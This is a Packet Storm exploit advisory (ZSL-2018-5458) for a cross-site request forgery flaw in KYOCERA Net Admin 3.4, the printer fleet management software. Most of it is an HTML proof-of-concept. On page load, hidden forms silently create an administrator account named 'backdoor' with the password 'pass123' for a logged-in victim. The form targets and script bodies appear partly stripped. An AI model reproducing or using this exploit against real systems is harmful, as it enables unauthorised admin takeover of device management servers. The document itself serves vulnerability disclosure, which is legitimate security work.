KYOCERA Net Admin 3.4 Cross Site Request Forgery

Type packetstorm
Reporter LiquidWorm
Modified 2018-04-09T00:00:00


KYOCERA Net Admin 3.4 CSRF Add Admin Exploit  
Vendor: KYOCERA Corporation  
Affected version: 3.4.0906  
Summary: KYOCERA Net Admin is Kyocera's unified  
device management software that uses a web-based  
platform to give network administrators easy and  
uncomplicated control to handle a fleet for up to  
10,000 devices. Tasks that used to require multiple  
programs or walking to each printer can now be  
accomplished in a single, fast and modern environment.  
Desc: The application interface allows users to perform  
certain actions via HTTP requests without performing  
any validity checks to verify the requests. This can  
be exploited to perform certain actions with administrative  
privileges if a logged-in user visits a malicious web  
Tested on: Microsoft Windows 7 Professional SP1 (EN)  
Apache Tomcat/8.5.15  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2018-5458  
Advisory URL:  
<title>KYOCERA Net Admin 3.4 CSRF Add Admin Exploit</title>  
<body onload="exploitrun();">  
<!-- Add Administrator -->  
<form name="create_user" action="" method="POST" target="frame0">  
<input type="hidden" name="userType" value="0" />  
<input type="hidden" name="addUserForm:loginName" value="backdoor" />  
<input type="hidden" name="addUserForm:pw" value="pass123" />  
<input type="hidden" name="addUserForm:pwConfirm" value="pass123" />  
<input type="hidden" name="addUserForm:role" value="administrator" />  
<input type="hidden" name="addUserForm:required_name" value="name" />  
<input type="hidden" name="addUserForm:required_email1" value="" />  
<input type="hidden" name="addUserForm:required_role" value="administrator" />  
<input type="hidden" name="addUserForm:optional_name" value="Backdoor" />  
<input type="hidden" name="addUserForm:company" value="ZSL" />  
<input type="hidden" name="addUserForm:department" value="forensics" />  
<input type="hidden" name="addUserForm:email2" value="" />  
<input type="hidden" name="addUserForm:optional_phone" value="123-123-1234" />  
<input type="hidden" name="addUserForm:optional_cell" value="321-321-3210" />  
<input type="hidden" name="addUserForm:submitHidden" value="true" />  
<input type="hidden" name="addUserForm_SUBMIT" value="1" />  
<input type="hidden" name="addUserForm:_link_hidden_" value="" />  
<!-- Update Node -->  
<form name="update_node" action="" method="GET" target="frame1">  
<input type="hidden" name="bname" value="" />  
<input type="hidden" name="ts" value="1522690965730" />  
<input type="hidden" name="cmd" value="tv_set_cur_node" />  
<input type="hidden" name="node_id" value="root.user_administration.administrator.backdoor" />  
<iframe name="frame0"></iframe>  
<iframe name="frame1"></iframe>  
function exploitrun()  
document.getElementsByTagName("iframe")[0].onload = function()  
document.getElementsByTagName("iframe")[1].onload = function()